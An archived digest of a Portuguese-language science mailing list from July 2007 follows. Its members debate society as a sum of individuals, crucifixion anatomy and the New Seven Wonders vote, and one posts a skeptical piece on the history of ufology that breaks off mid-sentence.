>Subject: Re: [ciencialist] Fw: Como sacar uma rolha de dentro de uma
>garrafa
>Date: Tue, 10 Jul 2007 09:18:35 -0300
>
>De: "murilo filo"
>Fw: Como sacar uma rolha de dentro de uma garrafa
>
>
>( essa tem a cara do Kentaro....:)
>
>Léo: esKentaro a garrafa?
>
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: RES: RES: [ciencialist] A sociedade como soma de indivíduos
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/07/2007 18:47

Takata,



Não estou discutindo. Estou afirmando!

Mas, me diz mesmo, é ou não curioso?

Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de rmtakata
Enviada em: terça-feira, 10 de julho de 2007 12:47
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: RES: [ciencialist] A sociedade como soma de indivíduos



Favor não discutir religião na lista.

[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: RES: RES: [ciencialist] A sociedade como soma de indivíduos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/07/2007 18:54

Favor não discutir religião na lista.

Questiúnculas semânticas não farão o tema se enquadrar.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "J.Victor" <j.victor.neto@...>
> Não estou discutindo. Estou afirmando!




SUBJECT: [RN] BRASIL CRESCE 7% EM PUBLICACOES CIENTIFICAS
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/07/2007 19:08

Brasil passa Suécia em produção científica
'Crescimento é de quase 7% em relação a 2005 e de 33% na comparação
com 2004. Número surpreendeu governo, que só esperava o avanço em 2008.'
http://g1.globo.com/Noticias/Ciencia/0,,MUL66940-5603,00.html
---------------------
[]s,

Roberto Takata



SUBJECT: Re: RES: RES: [ciencialist] A sociedade como soma de indivíduos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/07/2007 19:26

Mais gente insatisfeita com a votação do 7Wonders:

Contra Cristo Redentor, paulistas querem "eleger" Borba Gato na web
http://www1.folha.uol.com.br/folha/informatica/ult124u310802.shtml

Unesco critica concurso das sete novas maravilhas; escolhidos festejam
http://www1.folha.uol.com.br/folha/ilustrada/ult90u310378.shtml
--------------------
[]s,

Roberto Takata



SUBJECT: Re: RES: RES: [ciencialist] A sociedade como soma de indivíduos
FROM: "André L F S Bacci" <andrebacci.listas@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/07/2007 19:55

On 7/10/07, rmtakata <roberto.takata@bol.com.br> wrote:
> Mais gente insatisfeita com a votação do 7Wonders:
>
> Contra Cristo Redentor, paulistas querem "eleger" Borba Gato na web
> http://www1.folha.uol.com.br/folha/informatica/ult124u310802.shtml
>
> Unesco critica concurso das sete novas maravilhas; escolhidos festejam
> http://www1.folha.uol.com.br/folha/ilustrada/ult90u310378.shtml

Bem... O jeito parece mesmo se acostumar com as oito novas maravilhas do mundo
http://en.wikipedia.org/wiki/New_Seven_Wonders_of_the_World

A constar... Das novas sete escolhidas, nosso Cristo Redentor fica um
pouco deslocado... É a única obra contemporânea.

André


SUBJECT: RES: RES: RES: [ciencialist] A sociedade como soma de indivíduos
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/07/2007 21:26



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de rmtakata
Enviada em: terça-feira, 10 de julho de 2007 19:27
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: RES: RES: [ciencialist] A sociedade como soma de indivíduos



>Mais gente insatisfeita com a votação do 7Wonders:



O que isto tem a ver com ciência?



1 x1



Sds,

Victor.





,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: RES: RES: RES: [ciencialist] A sociedade como soma de indivíduos
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/07/2007 21:29

--- Em ciencialist@yahoogrupos.com.br, "J.Victor" <j.victor.neto@...>
> O que isto tem a ver com ciência?

Muita coisa.

[]s,

Roberto Takata



SUBJECT: [RN] CIENCIA - BRASIL: 15o EM PRODUCAO, 20o EM IMPACTO
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/07/2007 21:33

Ciência brasileira ainda é melhor em quantidade que qualidade
http://www1.folha.uol.com.br/folha/ciencia/ult306u310696.shtml
-------------------------
[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] A sociedade como soma de indivíduos
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/07/2007 21:33

Victor:

Os alemães fizeram a experiência da crucificação com os cravos atravessando a mão: é inviável, a mão não resiste ao peso do corpo e se rompe.

A crucifixação era feita pelos pulsos onde a estrutura é muito mais resistente. E o curioso, como o caso da Tereza Neumann na Alemanha é que na semana santa as chagas aparecia na palma da mão dela. Outros casos ocorreram da mesma forma e em mulheres de meia idade, solteiras.
Isso é da alçada de estudos da psiquiatria sobre a histeria.

sds.,

silvio.
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, July 10, 2007 7:12 AM
Subject: RES: [ciencialist] A sociedade como soma de indivíduos


>"Meu Deus, meu Deus, por que me
abandonaste?", pronunciada por Jesus Cristo durante o tortura da
crucificação, é uma oração a Deus contida no Salmo 22 (21).

Vou arriscar um comentário, defendo, já, que não é tão offt-opic. Há
referências à eletrônica e ao Léo. Logo, tem um pouco de ciência no meio.
Portanto, lá vai bala.

Até onde contam, o suposto Cristo estava pendurado por pregos nas mãos, sem
um apoio adequado nos pés, devido aos pregos neles também cravados. Mesmo
que quisesse segurar o tórax retesando os músculos dos braços, isto não
seria possível, pois a dor nas mãos cravadas impediria. Alguém se habilita
a fazer um teste, para validar esta herética tese? Mãos e pés deviam doer
prá dedéu. Em condições assim, após algum tempo, a respiração torna-se
difícil, a capacidade de racionar, idem. Falar, no início, só baixinho ou
sussurros. Não há forças suficientes. A cruz era bastante alta, conforme os
relatos. Ventava muito. Havia barulho de pessoas falando. No entanto, Cristo
teria dito para o "bom ladrão" aquilo de "ainda hoje estarás comigo no
paraíso", ou algo assim, além de citações como a acima.( "Bom ladrão",
tinha muita graça! )Contudo, assaltam-me dúvidas heréticas:

1- Mas Cristo só foi para o "céu", com roupa e tudo, "apenas" no
terceiro dia. Como diabos é que disse ao Dimas que, "ainda hoje", estaria
com ele lá no "paraíso"? Seria para o cara morrer rindo e satisfeito, ante
a agonia? Que previsão mais furada!

2- Quem ouviu aquelas conversas todas? Como poderiam ter ouvido, se o
supliciado não tinha condições físicas para nada e as atmosféricas não eram
lá muito favoráveis? A não ser que Léo houvesse instalado um amplificador,
microfone e alto falantes, além de um gravador! Mas, se não me engano,
naqueles tempos, a ciência eletrônica, nem Léo, ainda nem existiam... Ou
será que estou enganado?

3- Tudo já estava programado, determinado, Ele sabia de tudo, havia
avisado aos apóstolos, tudinho, inclusive quem o "trairia", TIM-tim-tim por
TIM-tim-tim, além de outros conhecimentos prévios (Gates deveria ser o
culpado por haver programado Judas, os soldados que espetavam os
crucifcados, quem mandou fazer aquelas misérias..., e não eles, que foram
para o inferno sem dó nem piedade!) Estava reclamando de quê? E porque o
assombro que veio posteriormente? Ao cabo e ao fim, ficou uma mensagem de
dor, agonia, desespero, assassinato, condenação do "mau" ladrão e absorvição
do "bom" ladrão. Sangue, ringir de dentes, expressões melosas e lânguidas.
Esta é a mensagem que ficou, e que norteia o cristianismo, em qualquer das
seitas existentes. É de uma ingenuidade que dá dó, essa fé dogmática. Léo,
como divindade, deve explicar como conseguiu que todos ouvissem as palavras
finais. Não tem outra explicação. Tinha que haver eletrônica por ali...

4- Finalmente, só fico imaginando o que seria de nós outros, hoje, se
Barrabás tivesse sido o escolhido para fazer a festa lá na c ruz, ao invés
do Cristo, no monte Golgotá. Como seria essa religião hoje, e o que
seríamos, que denominação teríamos, enfim, em relação a ela? (Um pensador
genial já deu a solução. Mas não digo agora, qual).

Sds,

Victor.

De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de José Renato
Enviada em: domingo, 8 de julho de 2007 22:35
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] A sociedade como soma de indivíduos

Manuel Bulcão escreveu: [ Demais, foi através de Cristo que a razão crítica
(razão esta que Popper, no século XX, deu o acabamento final) veio ao mundo.

"Pai, por que me abandonaste?" (Mateus, XXVI, 46). Vemos, nessa interrogação

dolorosa, a razão questionando a própria razão e, ipso facto, o direito ao
questionamento erigido a
princípio teológico. ]
.....................................

Caro, Bulcão! A citação de Mt 26,46 "Meu Deus, meu Deus, por que me
abandonaste?", pronunciada por Jesus Cristo durante o tortura da
crucificação, é uma oração a Deus contida no Salmo 22 (21). É um grito de
angústia real, mas não de desespero, pois o texto em sua continuação vem
seguido por uma certeza jubilosa do orante ao triunfo final - conforme notas

de rodapé da Bíblia de Jerusalém.
[]s
José Renato
.....................................

----- Original Message -----
From: "Manuel Bulcão" <manuelbulcao@uol.com.br
<mailto:manuelbulcao%40uol.com.br> >
To: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Sent: Sunday, June 17, 2007 9:03 PM
Subject: [ciencialist] A sociedade como soma de indivíduos

Oi pessoal,

Andei lendo o blog do Rodrigo Constantino. O cara é bom, muito
inteligente, erudito. Entretanto, no mais recente artigo dele, "As
Sete Maravilhas", cometeu algumas bobagens, a começar pela asserção
segundo a qual "a sociedade não passa de um somatório de indivíduos"
(sobre essa afirmação, gostaria que os adeptos da sociobiologia da C-
List tecessem alguns comentários).

Incomodado com tamanha baboseira ultraliberalóide, resolvi publicar,
no próprio blog do autor, a seguinte mensagem:

"A sociedade não passa de um somatório de indivíduos, e seria mais
saudável que as pessoas passassem a julgar - para o bem e para o mal -
atos individuais. Eu tenho mais respeito e afinidade por um
australiano distante que defenda a liberdade individual do que por um
vizinho marxista. Por esses motivos acima, não quero saber de voto em
Cristo Redentor!" (Rodrigo Constantino)

Constantino,

Uma sociedade não é um somatório de indivíduos, mas uma "estrutura".
Soma de "indivíduos" é uma colônia de bactérias, haja vista que uma
monera singular, via de regra, não depende das outras nem mesmo para
se reproduzir.

Toda sociedade é um complexo de "relações" entre indivíduos: relações
sexuais, relações afetivas ou de cuidado (como a das mães com as suas
proles), relações de cooperação, relações de troca, relações de
aprendizado, relações de dominação ou hierárquicas etc.

Você, um liberal que cultua o Indivíduo, fala que, em nossos
julgamentos, deveríamos nos ater - para o bem e para o mal - aos atos
individuais. Ora, como julgar Goethe, e em particular a sua obra-
prima "Fausto", sem levar em conta o empreendimento etnológico ou
a "criação coletiva" em que ele se inspirou: a "lenda" de Fausto? E
como avaliar esse "ato individual" que é a obra "Grande Sertão:
Veredas", de Guimarães Rosa, sem considerar a matéria-prima dessa
magnífica obra, a saber, o folclore mineiro, que, como todo folclore,
é construção coletiva? (poderia, ainda, celebrar as estupendas
criações "individuais" de Ariano Suassuna, Patativa de Assaré e até
Homero, que modelaram suas obras tendo por barro os mitos e lendas -
empreendimentos coletivos e anônimos - do seu povo.

Você afirma que prefere o significado da estátua da Liberdade ao do
Cristo Redentor. Ora, até para um ateu não bitolado, Cristo é símbolo
de muitas coisas boas. Com efeito, quando Jesus afirmou "meu reino
não é deste mundo" e "dai a César o que é de César e a Deus o que é
de Deus", com essas sentenças estabeleceu-se pela primeira vez a
alvissareira possibilidade (que não existe nos demais monoteísmos
abraâmicos: o judaísmo e o islamismo) da laicização da política, da
separação entre Igreja e Estado. Demais, foi através de Cristo que a
razão crítica (razão esta que Popper, no século XX, deu o acabamento
final) veio ao mundo. "Pai, por que me abandonaste?" (Mateus, XXVI,
46). Vemos, nessa interrogação dolorosa, a razão questionando a
própria razão e, ipso facto, o direito ao questionamento erigido a
princípio teológico.

Sim, o Cristo Redentor não é apenas bonito.

De resto, ao contrário de você, não costumo reduzir as pessoas às
suas crenças. Sou de centro-esquerda. Não obstante isso, tenho mais
respeito ao meu vizinho liberal de direita (um homem íntegro e bom)
do que por canalhas que pensam igualzinho a mim, não importando onde
vivam (Lembro que também há muitos liberais calhordas).

Abraço.
4:26 PM

Manuel Bulcão

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Version: 7.5.472 / Virus Database: 269.9.0/852 - Release Date: 17/6/2007
08:23

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] A sociedade como soma de indivíduos
FROM: "Alvaro Augusto \(U\)" <alvaro@daelt.sh06.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/07/2007 23:32

Há controvérsias. Como não há esqueletos de crucificados (os corpos eram
deixados por conta dos abutres), não há como ter certeza, mas a hipótese dos
pregos nas mãos não é totalmente inviável, por duas razões: (a) o peso do
corpo não era totalmente sustentado pelas mãos, mas também pelo apoio dos
pés; (b) além de usar pregos, os romanos amarravam os braços à trave,
evitando que a mão se soltasse. Além disso, os pregos nos pulsos causariam o
fim prematuro e indesejado do "espetáculo", pois o sangramento excessivo
provocaria morte mais rápida.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, July 10, 2007 9:33 PM
Subject: Re: [ciencialist] A sociedade como soma de indivíduos


Victor:

Os alemães fizeram a experiência da crucificação com os cravos atravessando
a mão: é inviável, a mão não resiste ao peso do corpo e se rompe.

A crucifixação era feita pelos pulsos onde a estrutura é muito mais
resistente. E o curioso, como o caso da Tereza Neumann na Alemanha é que na
semana santa as chagas aparecia na palma da mão dela. Outros casos ocorreram
da mesma forma e em mulheres de meia idade, solteiras.
Isso é da alçada de estudos da psiquiatria sobre a histeria.

sds.,

silvio.
----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, July 10, 2007 7:12 AM
Subject: RES: [ciencialist] A sociedade como soma de indivíduos


>"Meu Deus, meu Deus, por que me
abandonaste?", pronunciada por Jesus Cristo durante o tortura da
crucificação, é uma oração a Deus contida no Salmo 22 (21).

Vou arriscar um comentário, defendo, já, que não é tão offt-opic. Há
referências à eletrônica e ao Léo. Logo, tem um pouco de ciência no meio.
Portanto, lá vai bala.

Até onde contam, o suposto Cristo estava pendurado por pregos nas mãos,
sem
um apoio adequado nos pés, devido aos pregos neles também cravados. Mesmo
que quisesse segurar o tórax retesando os músculos dos braços, isto não
seria possível, pois a dor nas mãos cravadas impediria. Alguém se habilita
a fazer um teste, para validar esta herética tese? Mãos e pés deviam doer
prá dedéu. Em condições assim, após algum tempo, a respiração torna-se
difícil, a capacidade de racionar, idem. Falar, no início, só baixinho ou
sussurros. Não há forças suficientes. A cruz era bastante alta, conforme
os
relatos. Ventava muito. Havia barulho de pessoas falando. No entanto,
Cristo
teria dito para o "bom ladrão" aquilo de "ainda hoje estarás comigo no
paraíso", ou algo assim, além de citações como a acima.( "Bom ladrão",
tinha muita graça! )Contudo, assaltam-me dúvidas heréticas:

1- Mas Cristo só foi para o "céu", com roupa e tudo, "apenas" no
terceiro dia. Como diabos é que disse ao Dimas que, "ainda hoje", estaria
com ele lá no "paraíso"? Seria para o cara morrer rindo e satisfeito, ante
a agonia? Que previsão mais furada!

2- Quem ouviu aquelas conversas todas? Como poderiam ter ouvido, se o
supliciado não tinha condições físicas para nada e as atmosféricas não
eram
lá muito favoráveis? A não ser que Léo houvesse instalado um amplificador,
microfone e alto falantes, além de um gravador! Mas, se não me engano,
naqueles tempos, a ciência eletrônica, nem Léo, ainda nem existiam... Ou
será que estou enganado?

3- Tudo já estava programado, determinado, Ele sabia de tudo, havia
avisado aos apóstolos, tudinho, inclusive quem o "trairia", TIM-tim-tim
por
TIM-tim-tim, além de outros conhecimentos prévios (Gates deveria ser o
culpado por haver programado Judas, os soldados que espetavam os
crucifcados, quem mandou fazer aquelas misérias..., e não eles, que foram
para o inferno sem dó nem piedade!) Estava reclamando de quê? E porque o
assombro que veio posteriormente? Ao cabo e ao fim, ficou uma mensagem de
dor, agonia, desespero, assassinato, condenação do "mau" ladrão e
absorvição
do "bom" ladrão. Sangue, ringir de dentes, expressões melosas e lânguidas.
Esta é a mensagem que ficou, e que norteia o cristianismo, em qualquer das
seitas existentes. É de uma ingenuidade que dá dó, essa fé dogmática. Léo,
como divindade, deve explicar como conseguiu que todos ouvissem as
palavras
finais. Não tem outra explicação. Tinha que haver eletrônica por ali...

4- Finalmente, só fico imaginando o que seria de nós outros, hoje, se
Barrabás tivesse sido o escolhido para fazer a festa lá na c ruz, ao invés
do Cristo, no monte Golgotá. Como seria essa religião hoje, e o que
seríamos, que denominação teríamos, enfim, em relação a ela? (Um pensador
genial já deu a solução. Mas não digo agora, qual).

Sds,

Victor.

De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de José Renato
Enviada em: domingo, 8 de julho de 2007 22:35
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] A sociedade como soma de indivíduos

Manuel Bulcão escreveu: [ Demais, foi através de Cristo que a razão
crítica
(razão esta que Popper, no século XX, deu o acabamento final) veio ao
mundo.

"Pai, por que me abandonaste?" (Mateus, XXVI, 46). Vemos, nessa
interrogação

dolorosa, a razão questionando a própria razão e, ipso facto, o direito ao
questionamento erigido a
princípio teológico. ]
.....................................

Caro, Bulcão! A citação de Mt 26,46 "Meu Deus, meu Deus, por que me
abandonaste?", pronunciada por Jesus Cristo durante o tortura da
crucificação, é uma oração a Deus contida no Salmo 22 (21). É um grito de
angústia real, mas não de desespero, pois o texto em sua continuação vem
seguido por uma certeza jubilosa do orante ao triunfo final - conforme
notas

de rodapé da Bíblia de Jerusalém.
[]s
José Renato
.....................................

----- Original Message -----
From: "Manuel Bulcão" <manuelbulcao@uol.com.br
<mailto:manuelbulcao%40uol.com.br> >
To: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Sent: Sunday, June 17, 2007 9:03 PM
Subject: [ciencialist] A sociedade como soma de indivíduos

Oi pessoal,

Andei lendo o blog do Rodrigo Constantino. O cara é bom, muito
inteligente, erudito. Entretanto, no mais recente artigo dele, "As
Sete Maravilhas", cometeu algumas bobagens, a começar pela asserção
segundo a qual "a sociedade não passa de um somatório de indivíduos"
(sobre essa afirmação, gostaria que os adeptos da sociobiologia da C-
List tecessem alguns comentários).

Incomodado com tamanha baboseira ultraliberalóide, resolvi publicar,
no próprio blog do autor, a seguinte mensagem:

"A sociedade não passa de um somatório de indivíduos, e seria mais
saudável que as pessoas passassem a julgar - para o bem e para o mal -
atos individuais. Eu tenho mais respeito e afinidade por um
australiano distante que defenda a liberdade individual do que por um
vizinho marxista. Por esses motivos acima, não quero saber de voto em
Cristo Redentor!" (Rodrigo Constantino)

Constantino,

Uma sociedade não é um somatório de indivíduos, mas uma "estrutura".
Soma de "indivíduos" é uma colônia de bactérias, haja vista que uma
monera singular, via de regra, não depende das outras nem mesmo para
se reproduzir.

Toda sociedade é um complexo de "relações" entre indivíduos: relações
sexuais, relações afetivas ou de cuidado (como a das mães com as suas
proles), relações de cooperação, relações de troca, relações de
aprendizado, relações de dominação ou hierárquicas etc.

Você, um liberal que cultua o Indivíduo, fala que, em nossos
julgamentos, deveríamos nos ater - para o bem e para o mal - aos atos
individuais. Ora, como julgar Goethe, e em particular a sua obra-
prima "Fausto", sem levar em conta o empreendimento etnológico ou
a "criação coletiva" em que ele se inspirou: a "lenda" de Fausto? E
como avaliar esse "ato individual" que é a obra "Grande Sertão:
Veredas", de Guimarães Rosa, sem considerar a matéria-prima dessa
magnífica obra, a saber, o folclore mineiro, que, como todo folclore,
é construção coletiva? (poderia, ainda, celebrar as estupendas
criações "individuais" de Ariano Suassuna, Patativa de Assaré e até
Homero, que modelaram suas obras tendo por barro os mitos e lendas -
empreendimentos coletivos e anônimos - do seu povo.

Você afirma que prefere o significado da estátua da Liberdade ao do
Cristo Redentor. Ora, até para um ateu não bitolado, Cristo é símbolo
de muitas coisas boas. Com efeito, quando Jesus afirmou "meu reino
não é deste mundo" e "dai a César o que é de César e a Deus o que é
de Deus", com essas sentenças estabeleceu-se pela primeira vez a
alvissareira possibilidade (que não existe nos demais monoteísmos
abraâmicos: o judaísmo e o islamismo) da laicização da política, da
separação entre Igreja e Estado. Demais, foi através de Cristo que a
razão crítica (razão esta que Popper, no século XX, deu o acabamento
final) veio ao mundo. "Pai, por que me abandonaste?" (Mateus, XXVI,
46). Vemos, nessa interrogação dolorosa, a razão questionando a
própria razão e, ipso facto, o direito ao questionamento erigido a
princípio teológico.

Sim, o Cristo Redentor não é apenas bonito.

De resto, ao contrário de você, não costumo reduzir as pessoas às
suas crenças. Sou de centro-esquerda. Não obstante isso, tenho mais
respeito ao meu vizinho liberal de direita (um homem íntegro e bom)
do que por canalhas que pensam igualzinho a mim, não importando onde
vivam (Lembro que também há muitos liberais calhordas).

Abraço.
4:26 PM

Manuel Bulcão

##### ##### #####

Página de apoio
http://www.ciencialist.com

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E-mail classificado pelo Identificador de Spam Inteligente Terra.
Para alterar a categoria classificada, visite
http://mail.terra.com.br/cgi-bin/imail.cgi?+_u=jrma
<http://mail.terra.com.br/cgi-bin/imail.cgi?+_u=jrma&_l=1,1182125000.47759.2
2877.camenana.hst.terra.com.br,7125,Des15,Des15>
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SUBJECT: Seis fatos sobre a ufologia
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 11/07/2007 00:17

Seis fatos sobre a ufologia <http://www.ceticismoaberto.com/news/?p=920>

Com alguns dias de atraso, seis fatos sobre a ufologia. Não perca os seis
fatos sobre a ufologia no Brasil<http://www.ceticismoaberto.com/news/?p=913>
.

*
*
*Fato 1*

* O primeiro avistamento moderno de um "disco voador" não foi de um disco
voador.*

<http://www.ceticismoaberto.com/ufologia/kott_error.htm>"Em 24 de junho de
1947, Kenneth Arnold surpreendeu o mundo ao relatar nove objetos voando
sobre o Monte Rainier na incrível velocidade de 2.000 km/h. Foi um incrível
mistério e tamanha sensação que chegou às primeiras páginas por toda nação
americana. Logo todos estavam procurando por essas novas aeronaves que de
acordo com os jornais eram discóides em forma. Em semanas centenas de
relatos destes *discos voadores *surgiram por toda nação. Enquanto as
pessoas presumivelmente pensavam que estavam vendo as mesmas coisas que
Kenneth Arnold viu, havia uma enorme ironia que ninguém na época percebeu.
*Kenneth Arnold não relatou ter visto discos voadores*.
Em uma lembrança do incidente para o Primeiro Congresso OVNI Internacional
em 1977 Arnold revelou que o termo disco voador surgiu por causa de um
"grande mal-entendido" por parte do repórter que escreveu a história para a
*United Press*. Bill Bequette perguntou-lhe como os objetos voavam e Arnold
respondeu que "Bem, eles voavam erraticamente, como um disco se você o jogar
pela água". A intenção da metáfora era descrever o movimento dos objetos,
não sua forma. *Arnold declarou que os objetos "não eram circulares"*.
O erro de Bequette pode não ser a refutação definitiva da teoria
extraterrestre para todos. Mas ele realmente deixa seus defensores com um
gigantesco paradoxo: Por que extraterrestres redesenhariam suas naves para
ficar de acordo com o erro de Bequette?"
Do artigo de Martin Kottmeyer, "*Redondamente
Errados*<http://www.ceticismoaberto.com/ufologia/kott_error.htm>".
Sessenta anos depois, ufólogos que defendam uma realidade física literal aos
*discos voadores* ainda precisam lidar com a fantabulosa coincidência de que
as espaçonaves extraterrestres não tenham a forma dos objetos que Kenneth
Arnold viu, e sim a forma que o jornalista Bill Bequette reportou
erroneamente aos jornais pelo mundo.

*
*
*Fato 2*

* O termo "UFO" foi criado por militares norte-americanos.*

"UFO é o termo oficial que eu criei para substituir as palavras 'discos
voadores'", escreveu o capitão Edward Ruppelt, chefe do projeto *Livro
Azul*<http://en.wikipedia.org/wiki/Project_Blue_Book>da Força Aérea
Americana ["The
Report on Unidentified Flying Objects<http://www.nicap.org/rufo/contents.htm>",
1956, cap.1]. "Por algum tempo depois do avistamento de Arnold, o termo
'disco voador' foi usado para descrever todos objetos discóides vistos
voando pelos céus a velocidades fantásticas. Pouco depois, relatos de
objetos diferentes de discos também surgiram, e esses também foram chamados
de discos voadores. Hoje as palavras são aplicadas popularmente a qualquer
coisa vista no céu que não possa ser identificada como um objeto comum. …
Obviamente, o termo 'disco voador' é inapropriado quando aplicado a objetos
de toda forma e performance concebível. Por esta razão os militares preferem
o nome mais geral, ainda que menos divertido: objetos voadores
não-identificados. OVNIs".
De fato, foram os militares a introduzirem o uso do termo, que foi logo
adotado por civis que então passariam a criticar os mesmos militares, e com
o tempo, a acusá-los de uma *grande conspiração universal*. Seria a maior
ironia da *ufo*logia não fosse o primeito fato mencionado acima de que
Arnold não viu discos voadores.

*
*
*Fato 3*

* Não se comemora o aniversário do "caso Roswell" em uma data exata porque
não se sabe a data exata em que alguma coisa caiu. Também não se sabe ao
certo onde ou como.*

"A primeira grande dificuldade no caso que temos é a data do incidente. Nem
mesmo os diversos investigadores conseguem concordar quanto a este simples
aspecto. Stanton Friedman baseado no relato da família Wilmot indica a data
da queda como sendo o dia 2 de Julho, por seu turno, Kevin Randle baseado no
relato das freiras franciscanas, aponta a queda para o dia 4 de Julho.
Finalmente os controversos documentos MJ12 apontam a data da operação de
recuperação para o dia 7 de Julho, afirmando ter o OVNI caído uma semana
antes. Por último Mac Brazel afirmou que tinha descoberto os destroços no
dia 14 de Junho, quase três semanas antes. Por outro lado a mensagem da
Força Aérea refere o dia da recuperação como o dia 7 de Julho.
Outro aspecto é o do número de OVNIs envolvidos e o local da queda ou
quedas. De acordo com o investigador Stanton Friedman, caíram em Roswell
dois OVNIs que se chocaram entre si, para Kevin Randle só um caiu devido a
um relâmpago. Os documentos MJ12 falam de um OVNI mas não avança com
explicações. Quanto ao local, de acordo com Friedman o OVNI caiu a duas
milhas e meia a leste-sudeste do Rancho Foster. De acordo com a última
versão de Ragsdale, o OVNI caiu a mais de oitenta kms oeste-noroeste de
Roswell, perto da cidade de Arabella. Local que é apoiado pelo Internacional
Roswell Museum fundado por Glenn Dennis e Walter Haut. Na realidade o museu
tentou comprar o primeiro local identificado por Ragsdale para poder cobrar
ingressos pelas visitas, mas não o tendo conseguido optaram por deslocar o
local para um terreno público que compraram, recebendo Ragsdale 25% dos
lucros que passariam para os netos, já que lhe haviam diagnosticado um
cancro terminal. Por último os documentos MJ12 asseguram que o local era a
75 milhas a Norte de Roswell.
Outro problema é o número de cadáveres apontado e as suas descrições. Por um
lado a enfermeira "contou" a Dennis Glenn que "viu" três cadáveres mortos, o
sargento Melvin Brown viu entre três a quatro cadáveres e Frank Kaufmann
cinco. A primeira tal como Ragsdale descreve os cadáveres como sendo pretos
ou cinzentos escuros, grandes olhos negros e de intenso odor, o sargento
como tendo uma pele de textura réptil amarelo-alaranjado e Frank Kaufmann,
semelhantes a humanos, sem olhos negros pretos e de cor de azeitona. Nenhum
deles se referiu ao odor. Por outro lado de acordo com Frank Kaufmann o OVNI
e os corpos foram logo recuperados, o que entra em contradição com o
testemunho de Glenn Dennis que afirmou lhe terem perguntado sobre modos de
preservação de corpos expostos ao Sol e aos elementos durante dias, assim
como o odor.
Noutro ponto onde há discórdia é no que diz respeito às descrições do OVNI.
Os Wilmot descreveram como dois pratos colados um no outro, Jim Ragsdale em
forma de disco e com pequenas asas e finalmente Frank Kaufmann como sendo
triangular."
Do artigo de Nuno Silveira, *Roswell: Avaliando o
mito*<http://www.ceticismoaberto.com/ufologia/roswell_mito.htm>
.

*
*
*Fato 4*

* Praticamente todos os aspectos relatados na ufologia soferam mudanças
significativas ao longo de seis décadas.*

Se o fenômeno OVNI fosse resultado do contato com seres extraterrestres,
esperaria-se alguma coerência não só entre relatos espalhados ao redor do
mundo, como entre aqueles feito ao longo dos anos. Embora alguns ufólogos
defendam que tal coerência exista, a situação dificilmente poderia estar
mais distante da realidade. Em 1947 nos Estados Unidos, a maior parte dos
"discos voadores" relatados possuía menos de trinta centímetros de
tamanho<http://www.ceticismoaberto.com/ufologia/kott_saucer.htm>.
Eram literalmente pratos voadores ("flying saucers"). Com o tempo o tamanho
relatado de OVNIs foi gradualmente crescendo, e atualmente relatos de
objetos quilométricos não são incomuns — alguns teriam o tamanho da
Lua<http://www.ceticismoaberto.com/referencias/ovnigigante.htm>.
A forma, velocidade, movimento, horário de avistamento,
formação<http://www.ceticismoaberto.com/ufologia/kott_plastic.htm>,
mesmo formas de propulsão relatadas também sofreram grandes transformações.
Hoje não é muito comum ouvir falar de discos movidos a
hélice<http://www.ceticismoaberto.com/ufologia/kott_propel.htm>.
Tal variação não se limita aos OVNIs. O diagrama abaixo foi compilado por
Joe Nickell e é apenas uma pequena amostra da enorme disparidade da
aparência relatada de extraterrestres ao longo dos anos.
<http://www.skeptiseum.org/exhibits/ufosandaliens/alientimeline.html>
O padrão "Grey" popularizado nas últimas décadas, e hoje quase onipresente,
levou mais de três décadas para se fixar no imaginário popular. Os
extraterrestres descritos pelo casal
Hill<http://www.ceticismoaberto.com/ufologia/kott_eyesspoke.htm>na
década de 1960, por exemplo, embora enquadrados como "greys" por
